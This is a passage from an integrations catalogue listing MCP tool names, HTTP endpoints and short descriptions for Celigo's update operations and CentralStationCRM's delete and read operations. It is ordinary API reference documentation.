structure or behavior. Celigo documents this same endpoint on 3 resource pages: imports (updateImport) plus ai-agents (updateAiAgent), guardrails (updateGuardrail). They are one HTTP operation -- the resource kind is selected by the request body, not by a distinct path. via PUT /v1/imports/{_id} PUT /api/v1/celigo/v1/imports/{_id}. Scopes: api. celigo_put_v1_imports_by_id_replaceconnection (write) — Replace connection on import for a branched flow -- Replaces the connection used by an import in a flow and cancels any related running jobs. This is useful when migrating flows between environments or updating to newer connection versions. via PUT /v1/imports/{_id}/replaceConnection PUT /api/v1/celigo/v1/imports/{_id}/replaceConnection. Scopes: api. celigo_put_v1_integrations_by_id (write) — Update an integration -- Replaces the integration's mutable fields. Send the full object -- omitted fields revert to defaults. GET the integration first, modify the fields you need, then PUT back. For partial updates to `settings`, `flowGroupings`, or `apiGroupings`, prefer PATCH with JSON Patch instead. via PUT /v1/integrations/{_id} PUT /api/v1/celigo/v1/integrations/{_id}. Scopes: api. celigo_put_v1_integrations_by_id_connections_by_connectionid_register (write) — Register a connection to an integration (by path) -- Registers a single connection to the integration by specifying the connection id in the URL path. No request body is needed. To unregister, use `DELETE` on the same path. Alternatively, use `PUT /v1/integrations/{_id}/connections/register` to register by request body. via PUT /v1/integrations/{_id}/connections/{_connectionId}/register PUT /api/v1/celigo/v1/integrations/{_id}/connections/{_connectionId}/register. Scopes: api. celigo_put_v1_integrations_by_id_connections_register (write) — Register a connection to an integration (by body) -- Registers a single connection to the integration by passing the connection id in the request body. Alternatively, use `PUT /v1/integrations/{_id}/connections/{_connectionId}/register` to register by path parameter. via PUT /v1/integrations/{_id}/connections/register PUT /api/v1/celigo/v1/integrations/{_id}/connections/register. Scopes: api. celigo_put_v1_integrations_by_id_detachlicense (write) — Detach the license from an integration -- Detaches the license from an integration. Idempotent -- calling it on an integration that already has no license attached is a no-op. No request body is needed. via PUT /v1/integrations/{_id}/detachLicense PUT /api/v1/celigo/v1/integrations/{_id}/detachLicense. Scopes: api. celigo_put_v1_integrations_by_id_errors_assign (write) — (Legacy) Assign open errors to a user across an integration -- Tags a batch of open errors with an assignee. Errors stay open; this does not resolve or retry them. The `email` must resolve to a user with access to the account. Prefer `PUT /v1/flows/{_flowId}/{_stepId}/errors/assign` instead -- it works with a plain bearer token and requires no extra headers. This integration-level endpoint requires an `integrator-ashareid` header, and account-owner PATs have no ashare pointing at themselves, so they cannot call it directly. via PUT /v1/integrations/{_id}/errors/assign PUT /api/v1/celigo/v1/integrations/{_id}/errors/assign. Scopes: api. celigo_put_v1_integrations_by_id_lookupcaches_by_lookupcacheid_register (write) — Register a lookup cache to an integration (by path) -- Registers a single lookup cache to the integration by specifying the lookup cache id in the URL path. No request body is needed. To unregister, use `DELETE` on the same path. Alternatively, use `PUT /v1/integrations/{_id}/lookupcaches/register` to register several caches at once by request body. Registration also adds an entry to the integration's `aliases[]` when the cache does not already have one: `alias` is a slug of the cache name (lowercased, whitespace and special characters stripped, `_2`/`_3`/… appended on collision) and `_lookupCacheId` points at the cache. Scripts and hooks use the alias as a stable handle for the cache, and deregistering the cache is blocked until the alias is removed. via PUT /v1/integrations/{_id}/lookupcaches/{_lookupCacheId}/register PUT /api/v1/celigo/v1/integrations/{_id}/lookupcaches/{_lookupCacheId}/register. Scopes: api. celigo_put_v1_integrations_by_id_lookupcaches_register (write) — Register lookup caches to an integration (by body) -- Registers one or more lookup caches to the integration, adding them to its `_registeredLookupCacheIds` list. The request body is a bare JSON array of lookup cache ids; duplicates are collapsed. Alternatively, use `PUT /v1/integrations/{_id}/lookupcaches/{_lookupCacheId}/register` to register a single cache by path parameter. Registration also adds an entry to the integration's `aliases[]` for each newly registered cache that does not already have one: `alias` is a slug of the cache name (lowercased, whitespace and special characters stripped, `_2`/`_3`/… appended on collision) and `_lookupCacheId` points at the cache. Scripts and hooks use the alias as a stable handle for the cache, and deregistering the cache is blocked until the alias is removed. via PUT /v1/integrations/{_id}/lookupcaches/register PUT /api/v1/celigo/v1/integrations/{_id}/lookupcaches/register. Scopes: api. celigo_put_v1_integrations_by_id_resume (write) — Resume an Integration App integration -- Resumes a paused Integration App integration. Requires that the integration belongs to an Integration App. No request body is needed. via PUT /v1/integrations/{_id}/resume PUT /api/v1/celigo/v1/integrations/{_id}/resume. Scopes: api. celigo_put_v1_jobs_by_id_cancel (write) — Cancel a job -- Requests cancellation of a running or queued job. The job's `status` transitions to `canceling` and, once the platform has stopped in-flight work, to `canceled`. This is **not** synchronous — the response returns the updated job record with `status: "canceling"`; consumers should poll (e.g. `GET /v1/jobs/{_id}`) to observe the final `canceled` state. Only jobs that are still in progress (`queued`, `running`, `retrying`) can be canceled. Canceling a job that is already terminal returns an error. Cancel at the flow-run (parent) level rather than individual export/import children -- child cancellations can leave the parent in an inconsistent state. via PUT /v1/jobs/{_id}/cancel PUT /api/v1/celigo/v1/jobs/{_id}/cancel. Scopes: api. celigo_put_v1_lookupcaches_by_id (write) — Update a lookup cache -- Replaces the cache's writable fields. Read-only fields (`_id`, `_userId`, `size`, `sizeInMB`, timestamps) are silently ignored. To write cached data, use `POST /v1/lookupcaches/{_id}/data`. via PUT /v1/lookupcaches/{_id} PUT /api/v1/celigo/v1/lookupcaches/{_id}. Scopes: api. celigo_put_v1_mcpoauthproviders_by_id (write) — Update an MCP OAuth provider -- Full replacement of an MCP OAuth provider's configuration -- include all fields, not just the ones you want to change. Send `clientSecret: "******"` to preserve the existing secret. Changes propagate to all MCP servers referencing this provider. via PUT /v1/mcpoauthproviders/{_id} PUT /api/v1/celigo/v1/mcpoauthproviders/{_id}. Scopes: api. celigo_put_v1_mcpservers_by_id (write) — Update an MCP server -- Full replacement of an MCP server's configuration. Omitted arrays (`tools`, `apis`, `prompts`, `resources`, `permissionSets`) are cleared, so include the complete arrays — clearing `permissionSets` this way also rewrites the `pset:` grants that referenced the erased sets. `relativeURI` can be changed but must remain unique per account. via PUT /v1/mcpservers/{_id} PUT /api/v1/celigo/v1/mcpservers/{_id}. Scopes: api. celigo_put_v1_mcpservers_by_id_endusers (write) — Bulk assign MCP server access to end users -- Assigns this server's capabilities to up to 100 end users in one request. For each end user, the grant for this server is replaced with the supplied capabilities; grants for other MCP servers and wildcard grants are preserved. End users whose grants already match are counted as processed without a save. Processing stops at the first failure — the response then carries the entries completed before it, plus `errors`. Requires account owner or administrator access. via PUT /v1/mcpservers/{_id}/endusers PUT /api/v1/celigo/v1/mcpservers/{_id}/endusers. Scopes: api. celigo_put_v1_mcpservers_by_id_groups (write) — Bulk assign MCP server access to groups -- Assigns this server's capabilities to up to 100 groups in one request. For each group, the grant for this server is replaced with the supplied capabilities; grants for other MCP servers and wildcard grants are preserved, and the group's roles and members are not changed. Groups are updated in batches of five; processing stops at the first failure — the response then carries the groups completed before it, plus `errors`. Requires account owner or administrator access. via PUT /v1/mcpservers/{_id}/groups PUT /api/v1/celigo/v1/mcpservers/{_id}/groups. Scopes: api. celigo_put_v1_netsuiteda_previewimportmappingfields (write) — Preview NetSuite import field mappings against sample data -- Resolves a NetSuite import's Mapper 1.0 field mappings against supplied sample records and returns the mapped NetSuite record — the body fields (`nlobjFieldIds`) and sublists (`nlobjSublistIds`) that *would* be sent — without writing anything to NetSuite. Handlebars expressions in the mapping are evaluated, so this is the way to confirm how a mapping resolves before running it live. This is a stateless dry-run of the mapping engine: no Job is created and no NetSuite record is touched. It is the NetSuite-mapping counterpart to `POST /v1/imports/preview`, which previews the full import pipeline; use this operation when you specifically want the resolved NetSuite field values. via PUT /v1/netsuiteDA/previewImportMappingFields PUT /api/v1/celigo/v1/netsuiteDA/previewImportMappingFields. Scopes: api. celigo_put_v1_notifications (write) — Subscribe / unsubscribe users to resource notifications -- Upserts a batch of notification subscriptions. Each item targets exactly one resource (`_flowId`, `_connectionId`, or `_integrationId`) plus a `subscribedByUserEmail`. `subscribed: true` creates (or keeps) the subscription; `subscribed: false` removes it. Returns a parallel array of per-item results — one entry per request item, in the same order. Each result carries `statusCode` (**201** when a subscription was created, **200** when updated or removed, 422 when a referenced resource doesn't exist) plus an `errors[]` array on failures. An empty request body returns an empty array. The body is a bare array (maximum 500 items). Each item must carry exactly one of `_flowId` / `_connectionId` / `_integrationId` / `_syncId`. The response is a per-item status array; referencing a non-existent resource fails that item with `statusCode: 422` but does not fail the whole request. via PUT /v1/notifications PUT /api/v1/celigo/v1/notifications. Scopes: api. celigo_put_v1_preferences (write) — Update current user preferences -- Updates user preferences for the currently-authenticated user. Only include fields you intend to change. via PUT /v1/preferences PUT /api/v1/celigo/v1/preferences. Scopes: api. celigo_put_v1_resumeapim (write) — Resume APIM -- Resumes APIM for the account after it has been paused or suspended. Production environment only. Requires `manage:license` permission (not `apim:operations`). Returns `204` even when APIM is not yet provisioned (no `orgId` on the user). via PUT /v1/resumeAPIM PUT /api/v1/celigo/v1/resumeAPIM. Scopes: api. celigo_put_v1_roles_by_id (write) — Update a role -- Replaces the role's writable fields. Prefer resending the complete object — omitted fields are not preserved. Requires account owner or administrator access. via PUT /v1/roles/{_id} PUT /api/v1/celigo/v1/roles/{_id}. Scopes: api. celigo_put_v1_scripts_by_id (write) — Update a script -- Replaces a script's mutable fields. via PUT /v1/scripts/{_id} PUT /api/v1/celigo/v1/scripts/{_id}. Scopes: api. celigo_put_v1_stacks_by_id (write) — Update a stack -- Updates a stack. Omitting the config object clears optional fields like `framework`. To rotate a server stack's system token, use `DELETE /v1/stacks/{_id}/systemToken` instead. via PUT /v1/stacks/{_id} PUT /api/v1/celigo/v1/stacks/{_id}. Scopes: api. celigo_put_v1_state_by_key (write) — Create or update a global state value -- Sets the value for a global state key. Creates the key if it does not exist; replaces the value if it does. The request body must be a non-empty JSON object or array. Bare JSON primitives (strings, numbers, booleans, `null`) and empty containers (`{}`, `[]`) are rejected. This is an upsert — check the status code to distinguish create (201) from update (200). The response body is plain text, not JSON. If the state belongs to a specific export, import, or integration, use the resource-scoped endpoint instead. via PUT /v1/state/{key} PUT /api/v1/celigo/v1/state/{key}. Scopes: api. celigo_put_v1_storage_items_by_id (write) — Rename or describe an item -- Updates an item's `name` and/or `description`. Renaming keeps the item's `_id` stable, so references from flows, exports, imports, and tokens survive. To move an item to a different folder, use `PATCH /v1/storage/items/{_id}/move`; to replace a file's content, use `PATCH /v1/storage/items/{_id}/replace`. via PUT /v1/storage/items/{_id} PUT /api/v1/celigo/v1/storage/items/{_id}. Scopes: api. celigo_put_v1_syncjobs_by_syncjobid_cancel (write) — Cancel a single sync job -- Cancels a specific sync job by id. Only jobs that are still in progress (`running`) can be canceled. Jobs already in a terminal state (`completed`, `failed`, `canceled`) cannot be canceled. To cancel all running jobs for a sync at once, use `PUT /v1/syncs/{_syncId}/syncJobs/cancel` instead. via PUT /v1/syncJobs/{_syncJobId}/cancel PUT /api/v1/celigo/v1/syncJobs/{_syncJobId}/cancel. Scopes: api. celigo_put_v1_syncs_by_id (write) — Update a sync -- Replaces a sync's configuration. Send the complete desired state: omitted optional fields (`schedule`, `timezone`, destination details, `driftPolicy`) are cleared, not preserved. `_integrationId` cannot be sent — the integration is fixed at creation. Set `disabled: false` to enable the sync once its source, destination, datasets, and `historicDateTime` are configured; enabling an incomplete sync fails with `422 sync_not_enabled`. via PUT /v1/syncs/{_id} PUT /api/v1/celigo/v1/syncs/{_id}. Scopes: api. celigo_put_v1_syncs_by_syncid_datasets (write) — Create or update datasets for a sync -- Creates and updates a sync's datasets in one batch. Each array item either creates a dataset (identified by `externalId`) or updates one (identified by `_id`); a single request can mix both. Updates fully replace each dataset's writable fields. The response body is empty — read back the saved datasets with `GET /v1/syncs/{_syncId}/datasets`. via PUT /v1/syncs/{_syncId}/datasets PUT /api/v1/celigo/v1/syncs/{_syncId}/datasets. Scopes: api. celigo_put_v1_syncs_by_syncid_syncjobs_cancel (write) — Cancel all running sync jobs for a sync -- Cancels all currently running or queued sync jobs for the given sync. This is a bulk cancel that affects every in-progress job associated with the sync. If there are no cancellable jobs (all jobs are already in a terminal state), the request is rejected. To cancel a single specific job instead, use `PUT /v1/syncJobs/{_syncJobId}/cancel`. via PUT /v1/syncs/{_syncId}/syncJobs/cancel PUT /api/v1/celigo/v1/syncs/{_syncId}/syncJobs/cancel. Scopes: api. celigo_put_v1_tags_by_id (write) — Update a tag -- Updates the human-readable `tag` name for an existing tag entry. The short `tagId` code is immutable and cannot be changed. via PUT /v1/tags/{_id} PUT /api/v1/celigo/v1/tags/{_id}. Scopes: api. celigo_put_v1_templates_by_id (write) — Update a template -- Replaces the template's fields with the values in the request body. Omitted optional fields retain their current values. `name` is required on every PUT, even if unchanged. via PUT /v1/templates/{_id} PUT /api/v1/celigo/v1/templates/{_id}. Scopes: api. celigo_put_v1_tools_by_id (write) — Update a tool -- Replaces the tool configuration. This is a full replacement — GET the tool first, modify the fields you need, then PUT the full object back. Omitting a field removes it. `name` and `_integrationId` are required on every PUT. via PUT /v1/tools/{_id} PUT /api/v1/celigo/v1/tools/{_id}. Scopes: api. celigo_put_v1_tpconnectors_by_id (write) — Update a trading partner connector -- Replaces a trading partner connector. This is a full replace and an upsert -- if no connector exists for the given ID, one is created. When `published` is set to `true`, the `supportedBy` sections are validated for required fields. via PUT /v1/tpconnectors/{_id} PUT /api/v1/celigo/v1/tpconnectors/{_id}. Scopes: api. ================================================================================ ## CentralStationCRM URL: https://www.agenticfabriq.com/integrations/centralstationcrm Section: Integrated Tools CentralStationCRM — 179 MCP tools Provider key: centralstationcrm. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. centralstationcrm_delete_api_attachments_by_id (write, destructive) — delete attachment via DELETE /api/attachments/{id} DELETE /api/v1/centralstationcrm/api/attachments/{id}. Scopes: api. centralstationcrm_delete_api_avatars_by_id (write, destructive) — delete avatar via DELETE /api/avatars/{id} DELETE /api/v1/centralstationcrm/api/avatars/{id}. Scopes: api. centralstationcrm_delete_api_cal_events_by_cal_event_id_cal_event_attendees_by_id (write, destructive) — Destroy a cal event attendee for a calendar event via DELETE /api/cal_events/{cal_event_id}/cal_event_attendees/{id} DELETE /api/v1/centralstationcrm/api/cal_events/{cal_event_id}/cal_event_attendees/{id}. Scopes: api. centralstationcrm_delete_api_cal_events_by_id (write, destructive) — Destroy a cal event via DELETE /api/cal_events/{id} DELETE /api/v1/centralstationcrm/api/cal_events/{id}. Scopes: api. centralstationcrm_delete_api_comments_by_id (write, destructive) — Destroy a comment via DELETE /api/comments/{id} DELETE /api/v1/centralstationcrm/api/comments/{id}. Scopes: api. centralstationcrm_delete_api_companies_by_company_id_addrs_by_id (write, destructive) — Destroy a addrs for a company via DELETE /api/companies/{company_id}/addrs/{id} DELETE /api/v1/centralstationcrm/api/companies/{company_id}/addrs/{id}. Scopes: api. centralstationcrm_delete_api_companies_by_company_id_avatars_by_id (write, destructive) — delete avatar for a company via DELETE /api/companies/{company_id}/avatars/{id} DELETE /api/v1/centralstationcrm/api/companies/{company_id}/avatars/{id}. Scopes: api. centralstationcrm_delete_api_companies_by_company_id_contact_details_by_id (write, destructive) — Destroy a contact_detail for a company (ContactDetails) via DELETE /api/companies/{company_id}/contact_details/{id} DELETE /api/v1/centralstationcrm/api/companies/{company_id}/contact_details/{id}. Scopes: api. centralstationcrm_delete_api_companies_by_id (write, destructive) — Destroy a company via DELETE /api/companies/{id} DELETE /api/v1/centralstationcrm/api/companies/{id}. Scopes: api. centralstationcrm_delete_api_custom_fields_types_by_id (write, destructive) — Destroy a custom field type via DELETE /api/custom_fields_types/{id} DELETE /api/v1/centralstationcrm/api/custom_fields_types/{id}. Scopes: api. centralstationcrm_delete_api_deals_by_id (write, destructive) — Destroy a deal via DELETE /api/deals/{id} DELETE /api/v1/centralstationcrm/api/deals/{id}. Scopes: api. centralstationcrm_delete_api_external_emails_by_external_email_id_attachments_by_id (write, destructive) — delete attachment for an external email via DELETE /api/external_emails/{external_email_id}/attachments/{id} DELETE /api/v1/centralstationcrm/api/external_emails/{external_email_id}/attachments/{id}. Scopes: api. centralstationcrm_delete_api_group_calendars_by_id (write, destructive) — Destroy a group calendar via DELETE /api/group_calendars/{id} DELETE /api/v1/centralstationcrm/api/group_calendars/{id}. Scopes: api. centralstationcrm_delete_api_hooks_by_id (write, destructive) — Destroy a hook via DELETE /api/hooks/{id} DELETE /api/v1/centralstationcrm/api/hooks/{id}. Scopes: api. centralstationcrm_delete_api_people_by_id (write, destructive) — Destroy a person via DELETE /api/people/{id} DELETE /api/v1/centralstationcrm/api/people/{id}. Scopes: api. centralstationcrm_delete_api_people_by_person_id_addrs_by_id (write, destructive) — Destroy a addrs for a person via DELETE /api/people/{person_id}/addrs/{id} DELETE /api/v1/centralstationcrm/api/people/{person_id}/addrs/{id}. Scopes: api. centralstationcrm_delete_api_people_by_person_id_assis_by_id (write, destructive) — Destroy a assi for a person via DELETE /api/people/{person_id}/assis/{id} DELETE /api/v1/centralstationcrm/api/people/{person_id}/assis/{id}. Scopes: api. centralstationcrm_delete_api_people_by_person_id_avatars_by_id (write, destructive) — delete avatar for a person via DELETE /api/people/{person_id}/avatars/{id} DELETE /api/v1/centralstationcrm/api/people/{person_id}/avatars/{id}. Scopes: api. centralstationcrm_delete_api_people_by_person_id_contact_details_by_id (write, destructive) — Destroy a contact_detail for a person (ContactDetails) via DELETE /api/people/{person_id}/contact_details/{id} DELETE /api/v1/centralstationcrm/api/people/{person_id}/contact_details/{id}. Scopes: api. centralstationcrm_delete_api_people_by_person_id_custom_fields_by_id (write, destructive) — Destroy a custom_field for a person via DELETE /api/people/{person_id}/custom_fields/{id} DELETE /api/v1/centralstationcrm/api/people/{person_id}/custom_fields/{id}. Scopes: api. centralstationcrm_delete_api_people_by_person_id_historic_events_by_id (write, destructive) — Destroy a historic_event for a person via DELETE /api/people/{person_id}/historic_events/{id} DELETE /api/v1/centralstationcrm/api/people/{person_id}/historic_events/{id}. Scopes: api. centralstationcrm_delete_api_people_by_person_id_positions_by_id (write, destructive) — Destroy a position for a person via DELETE /api/people/{person_id}/positions/{id} DELETE /api/v1/centralstationcrm/api/people/{person_id}/positions/{id}. Scopes: api. centralstationcrm_delete_api_people_by_person_id_tags_by_id (write, destructive) — Destroy a tag for a person via DELETE /api/people/{person_id}/tags/{id} DELETE /api/v1/centralstationcrm/api/people/{person_id}/tags/{id}. Scopes: api. centralstationcrm_delete_api_projects_by_id (write, destructive) — Destroy a project via DELETE /api/projects/{id} DELETE /api/v1/centralstationcrm/api/projects/{id}. Scopes: api. centralstationcrm_delete_api_protocols_by_id (write, destructive) — Destroy a protocol via DELETE /api/protocols/{id} DELETE /api/v1/centralstationcrm/api/protocols/{id}. Scopes: api. centralstationcrm_delete_api_protocols_by_protocol_id_attachments_by_id (write, destructive) — delete attachment for a protocol via DELETE /api/protocols/{protocol_id}/attachments/{id} DELETE /api/v1/centralstationcrm/api/protocols/{protocol_id}/attachments/{id}. Scopes: api. centralstationcrm_delete_api_tasks_by_id (write, destructive) — Destroy a task via DELETE /api/tasks/{id} DELETE /api/v1/centralstationcrm/api/tasks/{id}. Scopes: api. centralstationcrm_get_api_activities (read) — Retrieves activities for the record (Activity) via GET /api/activities GET /api/v1/centralstationcrm/api/activities. Scopes: api. centralstationcrm_get_api_activities_by_id (read) — retrieve activity via GET /api/activities/{id} GET /api/v1/centralstationcrm/api/activities/{id}. Scopes: api. centralstationcrm_get_api_activities_count (read) — Retrieves activities count for the record, account or user (Activity) via GET /api/activities/count GET /api/v1/centralstationcrm/api/activities/count. Scopes: api. centralstationcrm_get_api_attachments (read) — Retrieves all attachments via GET /api/attachments GET /api/v1/centralstationcrm/api/attachments. Scopes: api. centralstationcrm_get_api_attachments_by_id (read) — retrieve attachment via GET /api/attachments/{id} GET /api/v1/centralstationcrm/api/attachments/{id}. Scopes: api. centralstationcrm_get_api_attachments_count (read) — Retrieves total amount and total file size (Attachment) via GET /api/attachments/count GET /api/v1/centralstationcrm/api/attachments/count. Scopes: api. centralstationcrm_get_api_attachments_search (read) — Retrieves attachments matching the search via GET /api/attachments/search GET /api/v1/centralstationcrm/api/attachments/search. Scopes: api. centralstationcrm_get_api_avatars (read) — Retrieves all avatars via GET /api/avatars GET /api/v1/centralstationcrm/api/avatars. Scopes: api. centralstationcrm_get_api_avatars_by_id (read) — retrieve avatar via GET /api/avatars/{id} GET /api/v1/centralstationcrm/api/avatars/{id}. Scopes: api. centralstationcrm_get_api_avatars_count (read) — Retrieves total amount and total file size (Avatar) via GET /api/avatars/count GET /api/v1/centralstationcrm/api/avatars/count. Scopes: api. centralstationcrm_get_api_cal_events (read) — Retrieves all cal events of the account via GET /api/cal_events GET /api/v1/centralstationcrm/api/cal_events. Scopes: api. centralstationcrm_get_api_cal_events_by_cal_event_id_cal_event_attendees (read) — Retrieves all cal event attendees for a calendar event via GET /api/cal_events/{cal_event_id}/cal_event_attendees GET /api/v1/centralstationcrm/api/cal_events/{cal_event_id}/cal_event_attendees. Scopes: api. centralstationcrm_get_api_cal_events_by_cal_event_id_cal_event_attendees_by_id (read) — Retrieves a cal event attendee for a calendar event via GET /api/cal_events/{cal_event_id}/cal_event_attendees/{id} GET /api/v1/centralstationcrm/api/cal_events/{cal_event_id}/cal_event_attendees/{id}. Scopes: api. centralstationcrm_get_api_cal_events_by_id (read) — Retrieves a cal event via GET /api/cal_events/{id} GET /api/v1/centralstationcrm/api/cal_events/{id}. Scopes: api. centralstationcrm_get_api_check_connection (read) — retrieves the connection status of the api key via GET /api/check_connection GET /api/v1/centralstationcrm/api/check_connection. Scopes: api. centralstationcrm_get_api_comments (read) — Retrieves all comments of the account via GET /api/comments GET /api/v1/centralstationcrm/api/comments. Scopes: api. centralstationcrm_get_api_comments_by_id (read) — Retrieves a comment via GET /api/comments/{id} GET /api/v1/centralstationcrm/api/comments/{id}. Scopes: api. centralstationcrm_get_api_companies (read) — Retrieves all companies (Company) via GET /api/companies GET /api/v1/centralstationcrm/api/companies. Scopes: api. centralstationcrm_get_api_companies_by_company_id_addrs (read) — Retrieves all addrs of the company via GET /api/companies/{company_id}/addrs GET /api/v1/centralstationcrm/api/companies/{company_id}/addrs. Scopes: api. centralstationcrm_get_api_companies_by_company_id_addrs_by_id (read) — Retrieves the addr for a company via GET /api/companies/{company_id}/addrs/{id} GET /api/v1/centralstationcrm/api/companies/{company_id}/addrs/{id}. Scopes: api. centralstationcrm_get_api_companies_by_company_id_avatars (read) — Retrieves all avatars for a company via GET /api/companies/{company_id}/avatars GET /api/v1/centralstationcrm/api/companies/{company_id}/avatars. Scopes: api. centralstationcrm_get_api_companies_by_company_id_avatars_by_id (read) — retrieve avatar for a company via GET /api/companies/{company_id}/avatars/{id} GET /api/v1/centralstationcrm/api/companies/{company_id}/avatars/{id}. Scopes: api. centralstationcrm_get_api_companies_by_company_id_contact_details (read) — Retrieves all contact_details of the company via GET /api/companies/{company_id}/contact_details GET /api/v1/centralstationcrm/api/companies/{company_id}/contact_details. Scopes: api. centralstationcrm_get_api_companies_by_company_id_contact_details_by_id (read) — Retrieves the tel for a company (ContactDetails) via GET /api/companies/{company_id}/contact_details/{id} GET /api/v1/centralstationcrm/api/companies/{company_id}/contact_details/{id}. Scopes: api. centralstationcrm_get_api_companies_by_company_id_external_emails (read) — Retrieves all external_emails for a company via GET /api/companies/{company_id}/external_emails GET /api/v1/centralstationcrm/api/companies/{company_id}/external_emails. Scopes: api. centralstationcrm_get_api_companies_by_company_id_external_emails_count (read) — Retrieves total amount of external_emails for a company via GET /api/companies/{company_id}/external_emails/count GET /api/v1/centralstationcrm/api/companies/{company_id}/external_emails/count. Scopes: api. centralstationcrm_get_api_companies_by_id (read) — Retrieves a company via GET /api/companies/{id} GET /api/v1/centralstationcrm/api/companies/{id}. Scopes: api. centralstationcrm_get_api_companies_count (read) — Retrieves total amount of companies (Company) via GET /api/companies/count GET /api/v1/centralstationcrm/api/companies/count. Scopes: api. centralstationcrm_get_api_companies_search (read) — Retrieves companies matching the search (Company) via GET /api/companies/search GET /api/v1/centralstationcrm/api/companies/search. Scopes: api. centralstationcrm_get_api_companies_stats (read) — Retrieves key information of companies (Company) via GET /api/companies/stats GET /api/v1/centralstationcrm/api/companies/stats. Scopes: api. centralstationcrm_get_api_contact_details_search (read) — Retrieves all records matching the contact_details search via GET /api/contact_details/search GET /api/v1/centralstationcrm/api/contact_details/search. Scopes: api. centralstationcrm_get_api_custom_fields_types (read) — Retrieves all CustomFieldTypes of the account via GET /api/custom_fields_types GET /api/v1/centralstationcrm/api/custom_fields_types. Scopes: api. centralstationcrm_get_api_custom_fields_types_by_id (read) — Retrieves a custom field type via GET /api/custom_fields_types/{id} GET /api/v1/centralstationcrm/api/custom_fields_types/{id}. Scopes: api. centralstationcrm_get_api_deal_types (read) — Retrieves all deal types of the account via GET /api/deal_types GET /api/v1/centralstationcrm/api/deal_types. Scopes: api. centralstationcrm_get_api_deal_types_by_id (read) — Retrieves a deal type with its stages via GET /api/deal_types/{id} GET /api/v1/centralstationcrm/api/deal_types/{id}. Scopes: api. centralstationcrm_get_api_deals (read) — Retrieves all deals via GET /api/deals GET /api/v1/centralstationcrm/api/deals. Scopes: api. centralstationcrm_get_api_deals_by_deal_id_external_emails (read) — Retrieves all external_emails for a deal via GET /api/deals/{deal_id}/external_emails GET /api/v1/centralstationcrm/api/deals/{deal_id}/external_emails. Scopes: api. centralstationcrm_get_api_deals_by_deal_id_external_emails_count (read) — Retrieves total amount of external_emails for a deal via GET /api/deals/{deal_id}/external_emails/count GET /api/v1/centralstationcrm/api/deals/{deal_id}/external_emails/count. Scopes: api. centralstationcrm_get_api_deals_by_deal_id_maildrop (read) — Retrieves the maildrop for a deal via GET /api/deals/{deal_id}/maildrop GET /api/v1/centralstationcrm/api/deals/{deal_id}/maildrop. Scopes: api. centralstationcrm_get_api_deals_by_id (read) — Retrieves a deal via GET /api/deals/{id} GET /api/v1/centralstationcrm/api/deals/{id}. Scopes: api. centralstationcrm_get_api_deals_count (read) — Retrieves total amount of deals via GET /api/deals/count GET /api/v1/centralstationcrm/api/deals/count. Scopes: api. centralstationcrm_get_api_deals_search (read) — Retrieves deals matching the search via GET /api/deals/search GET /api/v1/centralstationcrm/api/deals/search. Scopes: api. centralstationcrm_get_api_deals_stats (read) — Retrieves key information of deals via GET /api/deals/stats GET /api/v1/centralstationcrm/api/deals/stats. Scopes: api. centralstationcrm_get_api_external_emails (read) — Retrieves all external_emails via GET /api/external_emails GET /api/v1/centralstationcrm/api/external_emails. Scopes: api. centralstationcrm_get_api_external_emails_by_external_email_id_attachments (read) — Retrieves all attachments for an external email via GET /api/external_emails/{external_email_id}/attachments GET /api/v1/centralstationcrm/api/external_emails/{external_email_id}/attachments. Scopes: api. centralstationcrm_get_api_external_emails_by_external_email_id_attachments_by_id (read) — retrieve attachment for an external email via GET /api/external_emails/{external_email_id}/attachments/{id} GET /api/v1/centralstationcrm/api/external_emails/{external_email_id}/attachments/{id}. Scopes: api. centralstationcrm_get_api_external_emails_by_id (read) — Retrieves a external_email via GET /api/external_emails/{id} GET /api/v1/centralstationcrm/api/external_emails/{id}. Scopes: api. centralstationcrm_get_api_external_emails_count (read) — Retrieves total amount of external_emails via GET /api/external_emails/count GET /api/v1/centralstationcrm/api/external_emails/count. Scopes: api. centralstationcrm_get_api_filter_groups (read) — Retrieves all filter_groups of the account via GET /api/filter_groups GET /api/v1/centralstationcrm/api/filter_groups. Scopes: api. centralstationcrm_get_api_filter_groups_by_id (read) — Retrieves records matching the filter group via GET /api/filter_groups/{id} GET /api/v1/centralstationcrm/api/filter_groups/{id}. Scopes: api. centralstationcrm_get_api_filter_groups_by_id_count (read) — Retrieves count of filter_groups matching records for a filter group via GET /api/filter_groups/{id}/count GET /api/v1/centralstationcrm/api/filter_groups/{id}/count. Scopes: api. centralstationcrm_get_api_filter_groups_by_id_ids (read) — Retrieve ids of records matching the filter group via GET /api/filter_groups/{id}/ids GET /api/v1/centralstationcrm/api/filter_groups/{id}/ids. Scopes: api. centralstationcrm_get_api_group_calendars (read) — Retrieves all group calendars via GET /api/group_calendars GET /api/v1/centralstationcrm/api/group_calendars. Scopes: api. centralstationcrm_get_api_group_calendars_by_id (read) — Retrieves a group calendar via GET /api/group_calendars/{id} GET /api/v1/centralstationcrm/api/group_calendars/{id}. Scopes: api. centralstationcrm_get_api_historic_events (read) — Retrieves all historic_events of the account via GET /api/historic_events GET /api/v1/centralstationcrm/api/historic_events. Scopes: api. centralstationcrm_get_api_hooks (read) — Retrieves all hooks of the account via GET /api/hooks GET /api/v1/centralstationcrm/api/hooks. Scopes: api. centralstationcrm_get_api_hooks_by_id (read) — Retrieves a hook via GET /api/hooks/{id} GET /api/v1/centralstationcrm/api/hooks/{id}. Scopes: api. centralstationcrm_get_api_people (read) — Retrieves all people (Person) via GET /api/people GET /api/v1/centralstationcrm/api/people. Scopes: api. centralstationcrm_get_api_people_by_id (read) — Retrieves a person via GET /api/people/{id} GET /api/v1/centralstationcrm/api/people/{id}. Scopes: api. centralstationcrm_get_api_people_by_person_id_addrs (read) — Retrieves all addrs of the person via GET /api/people/{person_id}/addrs GET /api/v1/centralstationcrm/api/people/{person_id}/addrs. Scopes: api. centralstationcrm_get_api_people_by_person_id_addrs_by_id (read) — Retrieves the addr for a person via GET /api/people/{person_id}/addrs/{id} GET /api/v1/centralstationcrm/api/people/{person_id}/addrs/{id}. Scopes: api. centralstationcrm_get_api_people_by_person_id_assis (read) — 